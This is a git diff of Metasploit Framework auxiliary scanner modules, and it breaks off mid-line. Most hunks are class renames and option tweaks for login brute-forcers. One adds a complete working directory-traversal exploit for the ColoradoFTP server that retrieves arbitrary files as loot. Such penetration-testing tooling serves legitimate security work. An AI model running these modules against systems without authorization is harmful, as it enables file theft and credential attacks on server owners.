b/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb index 08e6967dfe..2d6f9f71d1 100644 --- a/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb +++ b/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Capture include Msf::Exploit::Remote::Ipv6 @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Auxiliary the host portion of the IPv6 address. Use NDP host solicitation to determine if the IP address is valid' }, - 'Author' => 'wuntee', + 'Author' => ['wuntee', 'd0lph1n98'], 'License' => MSF_LICENSE, 'References' => [ @@ -33,20 +33,22 @@ class Metasploit3 < Msf::Auxiliary OptInt.new('TIMEOUT_NEIGHBOR', [true, "Time (seconds) to listen for a solicitation response.", 1]) ], self.class) - register_advanced_options( - [ - OptString.new('PREFIX', [true, "Prefix that each host should get an IPv6 address from", - "2001:1234:DEAD:BEEF::"] - ) - ], self.class) - deregister_options('SNAPLEN', 'FILTER', 'RHOST', 'PCAPFILE') end + def generate_prefix() + max = 16 ** 4 + prefix = "2001:" + (0..2).each do + prefix << "%x:" % Random.rand(0..max) + end + return prefix << ':' + end + def listen_for_neighbor_solicitation(opts = {}) hosts = [] timeout = opts['TIMEOUT'] || datastore['TIMEOUT'] - prefix = opts['PREFIX'] || datastore['PREFIX'] + prefix = @prefix max_epoch = ::Time.now.to_i + timeout autoconf_prefix = IPAddr.new(prefix).to_string().slice(0..19) @@ -94,7 +96,7 @@ class Metasploit3 < Msf::Auxiliary smac = @smac shost = opts['SHOST'] || datastore['SHOST'] || ipv6_link_address lifetime = opts['LIFETIME'] || datastore['TIMEOUT'] - prefix = opts['PREFIX'] || datastore['PREFIX'] + prefix = @prefix plen = 64 dmac = "33:33:00:00:00:01" @@ -141,7 +143,7 @@ class Metasploit3 < Msf::Auxiliary checksum = 0 hop_limit = 0 flags = 0x08 - lifetime = 1800 + lifetime = 0 reachable = 0 retrans = 0 [type, code, checksum, hop_limit, flags, @@ -152,6 +154,7 @@ class Metasploit3 < Msf::Auxiliary # Start capture open_pcap({'FILTER' => "icmp6"}) + @prefix = generate_prefix() @netifaces = true if not netifaces_implemented? print_error("WARNING : Pcaprub is not uptodate, some functionality will not be available") diff --git a/modules/auxiliary/scanner/discovery/udp_probe.rb b/modules/auxiliary/scanner/discovery/udp_probe.rb index 152f3c7374..8523d67b03 100644 --- a/modules/auxiliary/scanner/discovery/udp_probe.rb +++ b/modules/auxiliary/scanner/discovery/udp_probe.rb @@ -7,10 +7,13 @@ require 'msf/core' require 'openssl' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner + include Msf::Module::Deprecated + + deprecated(Date.new(2016, 11, 23), 'auxiliary/scanner/discovery/udp_sweep') def initialize super( diff --git a/modules/auxiliary/scanner/discovery/udp_sweep.rb b/modules/auxiliary/scanner/discovery/udp_sweep.rb index e8222d1e05..df8b24781e 100644 --- a/modules/auxiliary/scanner/discovery/udp_sweep.rb +++ b/modules/auxiliary/scanner/discovery/udp_sweep.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'openssl' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::UDPScanner diff --git a/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb b/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb index 21e6d9ffb1..9490798336 100644 --- a/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb +++ b/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'socket' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/dns/dns_amp.rb b/modules/auxiliary/scanner/dns/dns_amp.rb index 4b448dca11..a914489225 100644 --- a/modules/auxiliary/scanner/dns/dns_amp.rb +++ b/modules/auxiliary/scanner/dns/dns_amp.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Capture diff --git a/modules/auxiliary/scanner/elasticsearch/indices_enum.rb b/modules/auxiliary/scanner/elasticsearch/indices_enum.rb index 0fc0fd14c0..50b9b0af01 100644 --- a/modules/auxiliary/scanner/elasticsearch/indices_enum.rb +++ b/modules/auxiliary/scanner/elasticsearch/indices_enum.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/emc/alphastor_devicemanager.rb b/modules/auxiliary/scanner/emc/alphastor_devicemanager.rb index 98234fe2f9..89645436c3 100644 --- a/modules/auxiliary/scanner/emc/alphastor_devicemanager.rb +++ b/modules/auxiliary/scanner/emc/alphastor_devicemanager.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/emc/alphastor_librarymanager.rb b/modules/auxiliary/scanner/emc/alphastor_librarymanager.rb index 57e3e108e0..4570b9ab79 100644 --- a/modules/auxiliary/scanner/emc/alphastor_librarymanager.rb +++ b/modules/auxiliary/scanner/emc/alphastor_librarymanager.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/finger/finger_users.rb b/modules/auxiliary/scanner/finger/finger_users.rb index e95315b367..66f081533c 100644 --- a/modules/auxiliary/scanner/finger/finger_users.rb +++ b/modules/auxiliary/scanner/finger/finger_users.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/ftp/anonymous.rb b/modules/auxiliary/scanner/ftp/anonymous.rb index 8af1e9cf16..faeed16eb4 100644 --- a/modules/auxiliary/scanner/ftp/anonymous.rb +++ b/modules/auxiliary/scanner/ftp/anonymous.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb b/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb index 4970ab3c62..33b9c7c7a2 100644 --- a/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb +++ b/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/ftp/colorado_ftp_traversal.rb b/modules/auxiliary/scanner/ftp/colorado_ftp_traversal.rb new file mode 100644 index 0000000000..b29f2c2bcb --- /dev/null +++ b/modules/auxiliary/scanner/ftp/colorado_ftp_traversal.rb @@ -0,0 +1,104 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::Ftp + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ColoradoFTP Server 1.3 Build 8 Directory Traversal Information Disclosure', + 'Description' => %q{ + This module exploits a directory traversal vulnerability found in ColoradoFTP server + version <= 1.3 Build 8. This vulnerability allows an attacker to download and upload arbitrary files + from the server GET/PUT command including file system traversal strings starting with '\\\'. + The server is writen in Java and therefore platform independant, however this vulnerability is only + exploitable on the Windows version. + }, + 'Platform' => 'win', + 'Author' => + [ + 'h00die ', + 'RvLaboratory', #discovery + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'EDB', '40231'], + [ 'URL', 'https://bitbucket.org/nolife/coloradoftp/commits/16a60c4a74ef477cd8c16ca82442eaab2fbe8c86'] + ], + 'DisclosureDate' => 'Aug 11 2016' + )) + + register_options( + [ + OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 2 ]), + OptString.new('PATH', [ true, 'Path to the file to disclose, releative to the root dir.', 'conf\\xml-users.xml']), + OptString.new('FTPUSER', [ true, 'Username to use for login', 'ftpuser']), #override default + OptString.new('FTPPASS', [ true, 'Password to use for login', 'ftpuser123']) #override default + ], self.class) + + end + + def check_host(ip) + begin + connect + if /Welcome to ColoradoFTP - the open source FTP server \(www\.coldcore\.com\)/i === banner + return Exploit::CheckCode::Appears + end + ensure + disconnect + end + + Exploit::CheckCode::Safe + end + + def run_host(ip) + begin + connect_login + sock = data_connect + + file_path = datastore['PATH'] + file = ::File.basename(file_path) + + # make RETR request and store server response message... + retr_cmd = '\\\\\\' + ("..\\" * datastore['DEPTH'] ) + "#{file_path}" + res = send_cmd( ["retr", retr_cmd], true) + print_status(res) + # read the file data from the socket that we opened + response_data = sock.read(1024) + + unless response_data + print_error("#{file} not found") + return + end + + if response_data.length == 0 + print_status("File (#{file_path})from #{peer} is empty...") + return + end + + # store file data to loot + loot_file = store_loot("coloradoftp.ftp.data", "text", rhost, response_data, file, file_path) + vprint_status("Data returned:\n") + vprint_line(response_data) + print_good("Stored #{file_path} to #{loot_file}") + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e + vprint_error(e.message) + elog("#{e.class} #{e.message} #{e.backtrace * "\n"}") + rescue ::Timeout::Error, ::Errno::EPIPE => e + vprint_error(e.message) + elog("#{e.class} #{e.message} #{e.backtrace * "\n"}") + ensure + data_disconnect + disconnect + end + end +end diff --git a/modules/auxiliary/scanner/ftp/ftp_login.rb b/modules/auxiliary/scanner/ftp/ftp_login.rb index 676ea23753..2ee8ac7b82 100644 --- a/modules/auxiliary/scanner/ftp/ftp_login.rb +++ b/modules/auxiliary/scanner/ftp/ftp_login.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/ftp' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/ftp/ftp_version.rb b/modules/auxiliary/scanner/ftp/ftp_version.rb index e922b36249..fee2b5bf04 100644 --- a/modules/auxiliary/scanner/ftp/ftp_version.rb +++ b/modules/auxiliary/scanner/ftp/ftp_version.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Scanner @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Auxiliary if(banner) banner_sanitized = Rex::Text.to_hex_ascii(self.banner.to_s) - print_status("#{rhost}:#{rport} FTP Banner: '#{banner_sanitized}'") + print_status("FTP Banner: '#{banner_sanitized}'") report_service(:host => rhost, :port => rport, :name => "ftp", :info => banner_sanitized) end diff --git a/modules/auxiliary/scanner/ftp/konica_ftp_traversal.rb b/modules/auxiliary/scanner/ftp/konica_ftp_traversal.rb index deceef291b..29163236d5 100644 --- a/modules/auxiliary/scanner/ftp/konica_ftp_traversal.rb +++ b/modules/auxiliary/scanner/ftp/konica_ftp_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb b/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb index bcdb39565b..6743f9008f 100644 --- a/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb +++ b/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb b/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb index c29b0bb930..fd22f8a66b 100644 --- a/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb +++ b/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/h323/h323_version.rb b/modules/auxiliary/scanner/h323/h323_version.rb index 56008ba45a..bded8208c7 100644 --- a/modules/auxiliary/scanner/h323/h323_version.rb +++ b/modules/auxiliary/scanner/h323/h323_version.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb b/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb index 82e6fbb881..1a83f8a512 100644 --- a/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/accellion_fta_statecode_file_read.rb b/modules/auxiliary/scanner/http/accellion_fta_statecode_file_read.rb index bb63c2a7d3..af7ce9b7a4 100644 --- a/modules/auxiliary/scanner/http/accellion_fta_statecode_file_read.rb +++ b/modules/auxiliary/scanner/http/accellion_fta_statecode_file_read.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/adobe_xml_inject.rb b/modules/auxiliary/scanner/http/adobe_xml_inject.rb index e801a16c18..0b4fd6e2ea 100644 --- a/modules/auxiliary/scanner/http/adobe_xml_inject.rb +++ b/modules/auxiliary/scanner/http/adobe_xml_inject.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb b/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb index ab1cdd947e..eb22d9335e 100644 --- a/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb +++ b/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb b/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb index b5d88ff665..4bb3bece15 100644 --- a/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb +++ b/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/apache_activemq_traversal.rb b/modules/auxiliary/scanner/http/apache_activemq_traversal.rb index fff6aa5d95..a5b43f7e2c 100644 --- a/modules/auxiliary/scanner/http/apache_activemq_traversal.rb +++ b/modules/auxiliary/scanner/http/apache_activemq_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb b/modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb index d7add8ec02..6324d1152b 100644 --- a/modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb +++ b/modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/apache_userdir_enum.rb b/modules/auxiliary/scanner/http/apache_userdir_enum.rb index 483f7acb5d..2b4711af17 100644 --- a/modules/auxiliary/scanner/http/apache_userdir_enum.rb +++ b/modules/auxiliary/scanner/http/apache_userdir_enum.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/appletv_login.rb b/modules/auxiliary/scanner/http/appletv_login.rb index d2c30f1bf1..6e48839b68 100644 --- a/modules/auxiliary/scanner/http/appletv_login.rb +++ b/modules/auxiliary/scanner/http/appletv_login.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/http' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -55,7 +55,7 @@ class Metasploit3 < Msf::Auxiliary deregister_options( 'USERNAME', 'USER_AS_PASS', 'DB_ALL_CREDS', 'DB_ALL_USERS', 'NTLM::SendLM', 'NTLM::SendNTLM', 'NTLM::SendSPN', 'NTLM::UseLMKey', 'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2', - 'REMOVE_USERPASS_FILE', 'REMOVE_USER_FILE', 'DOMAIN' + 'REMOVE_USERPASS_FILE', 'REMOVE_USER_FILE', 'DOMAIN', 'HttpUsername' ) end diff --git a/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb b/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb index 78ee78a383..00f2f307f0 100644 --- a/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb +++ b/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/axis_local_file_include.rb b/modules/auxiliary/scanner/http/axis_local_file_include.rb index c4c029987c..a788774b35 100644 --- a/modules/auxiliary/scanner/http/axis_local_file_include.rb +++ b/modules/auxiliary/scanner/http/axis_local_file_include.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/axis_login.rb b/modules/auxiliary/scanner/http/axis_login.rb index c806a5df43..5aa55046cc 100644 --- a/modules/auxiliary/scanner/http/axis_login.rb +++ b/modules/auxiliary/scanner/http/axis_login.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'metasploit/framework/login_scanner/axis2' require 'metasploit/framework/credential_collection' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::AuthBrute @@ -83,7 +83,9 @@ class Metasploit3 < Msf::Auxiliary cred_details: cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 5 + connection_timeout: 5, + http_username: datastore['HttpUsername'], + http_password: datastore['HttpPassword'] ) ) diff --git a/modules/auxiliary/scanner/http/backup_file.rb b/modules/auxiliary/scanner/http/backup_file.rb index 3ac0d740bb..226d7f4f90 100644 --- a/modules/auxiliary/scanner/http/backup_file.rb +++ b/modules/auxiliary/scanner/http/backup_file.rb @@ -8,7 +8,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::WmapScanFile diff --git a/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb b/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb index af42fa9fa9..15bee576e6 100644 --- a/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb b/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb index dbaf72cd7e..baa635fe7e 100644 --- a/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb +++ b/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/blind_sql_query.rb b/modules/auxiliary/scanner/http/blind_sql_query.rb index 4903073c2a..8ef7274949 100644 --- a/modules/auxiliary/scanner/http/blind_sql_query.rb +++ b/modules/auxiliary/scanner/http/blind_sql_query.rb @@ -9,7 +9,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::WmapScanUniqueQuery diff --git a/modules/auxiliary/scanner/http/bmc_trackit_passwd_reset.rb b/modules/auxiliary/scanner/http/bmc_trackit_passwd_reset.rb index b24065de3a..f484a2a75f 100644 --- a/modules/auxiliary/scanner/http/bmc_trackit_passwd_reset.rb +++ b/modules/auxiliary/scanner/http/bmc_trackit_passwd_reset.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/brute_dirs.rb b/modules/auxiliary/scanner/http/brute_dirs.rb index 5ffdf2bbdf..e2ecbafdbf 100644 --- a/modules/auxiliary/scanner/http/brute_dirs.rb +++ b/modules/auxiliary/scanner/http/brute_dirs.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'enumerable' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::WmapScanDir diff --git a/modules/auxiliary/scanner/http/buffalo_login.rb b/modules/auxiliary/scanner/http/buffalo_login.rb index 26d643853f..56e2e020a6 100644 --- a/modules/auxiliary/scanner/http/buffalo_login.rb +++ b/modules/auxiliary/scanner/http/buffalo_login.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/buffalo' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -28,8 +28,6 @@ class Metasploit3 < Msf::Auxiliary [ Opt::RPORT(80) ], self.class) - - deregister_options('RHOST') end def run_host(ip) @@ -48,7 +46,9 @@ class Metasploit3 < Msf::Auxiliary cred_details: cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 10 + connection_timeout: 10, + http_username: datastore['HttpUsername'], + http_password: datastore['HttpPassword'] ) ) diff --git a/modules/auxiliary/scanner/http/caidao_bruteforce_login.rb b/modules/auxiliary/scanner/http/caidao_bruteforce_login.rb index b3fb9cfa82..35ceaffd4b 100644 --- a/modules/auxiliary/scanner/http/caidao_bruteforce_login.rb +++ b/modules/auxiliary/scanner/http/caidao_bruteforce_login.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/caidao' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report @@ -15,8 +15,8 @@ class Metasploit4 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Chinese Caidao Backdoor Bruteorce', - 'Description' => 'This module attempts to brute chinese caidao asp/php/aspx backdoor.', + 'Name' => 'Chinese Caidao Backdoor Bruteforce', + 'Description' => 'This module attempts to bruteforce chinese caidao asp/php/aspx backdoor.', 'Author' => [ 'Nixawk' ], 'References' => [ ['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html'], @@ -39,7 +39,7 @@ class Metasploit4 < Msf::Auxiliary ], self.class) # caidao does not have an username, there's only password - deregister_options('USERNAME', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'DB_ALL_USERS') + deregister_options('HttpUsername', 'HttpPassword', 'USERNAME', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'DB_ALL_USERS') end def scanner(ip) @@ -61,7 +61,9 @@ class Metasploit4 < Msf::Auxiliary cred_details: cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 5 + connection_timeout: 5, + http_username: datastore['HttpUsername'], + http_password: datastore['HttpPassword'] )) }.call end diff --git a/modules/auxiliary/scanner/http/canon_wireless.rb b/modules/auxiliary/scanner/http/canon_wireless.rb index b9e1cdbf7b..971536a302 100644 --- a/modules/auxiliary/scanner/http/canon_wireless.rb +++ b/modules/auxiliary/scanner/http/canon_wireless.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'nokogiri' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/http/cert.rb b/modules/auxiliary/scanner/http/cert.rb index 167bb24fc9..59ce33db5b 100644 --- a/modules/auxiliary/scanner/http/cert.rb +++ b/modules/auxiliary/scanner/http/cert.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::WmapScanSSL @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Auxiliary end end - if cert.issuer.to_s !~ /#{datastore['ISSUER']}/n + if cert.issuer.to_s !~ /#{datastore['ISSUER'].source}/n print_good("#{ip} - '#{vhostn}' : #{cert.issuer} (BAD ISSUER)" ) elsif datastore['SHOWALL'] # show verbose as status diff --git a/modules/auxiliary/scanner/http/chef_webui_login.rb b/modules/auxiliary/scanner/http/chef_webui_login.rb index e8abdfe8f7..57ab4e9aea 100644 --- a/modules/auxiliary/scanner/http/chef_webui_login.rb +++ b/modules/auxiliary/scanner/http/chef_webui_login.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'metasploit/framework/login_scanner/chef_webui' require 'metasploit/framework/credential_collection' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::AuthBrute @@ -30,13 +30,14 @@ class Metasploit3 < Msf::Auxiliary 'DefaultOptions' => { 'SSL' => true, - 'SSLVersion' => 'TLS1' } ) register_options( [ Opt::RPORT(443), + OptString.new('USERNAME', [false, 'The username to specify for authentication', '']), + OptString.new('PASSWORD', [false, 'The password to specify for authentication', '']), OptString.new('TARGETURI', [ true, 'The path to the Chef Web UI application', '/']), ], self.class) end @@ -150,7 +151,9 @@ class Metasploit3 < Msf::Auxiliary cred_details: @cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 5 + connection_timeout: 5, + http_username: datastore['HttpUsername'], + http_password: datastore['HttpPassword'] ) ) end diff --git a/modules/auxiliary/scanner/http/chromecast_webserver.rb b/modules/auxiliary/scanner/http/chromecast_webserver.rb index 5ac407a826..35c1f1af47 100644 --- a/modules/auxiliary/scanner/http/chromecast_webserver.rb +++ b/modules/auxiliary/scanner/http/chromecast_webserver.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/cisco_asa_asdm.rb b/modules/auxiliary/scanner/http/cisco_asa_asdm.rb index 8fa9b4f428..6dca2a3812 100644 --- 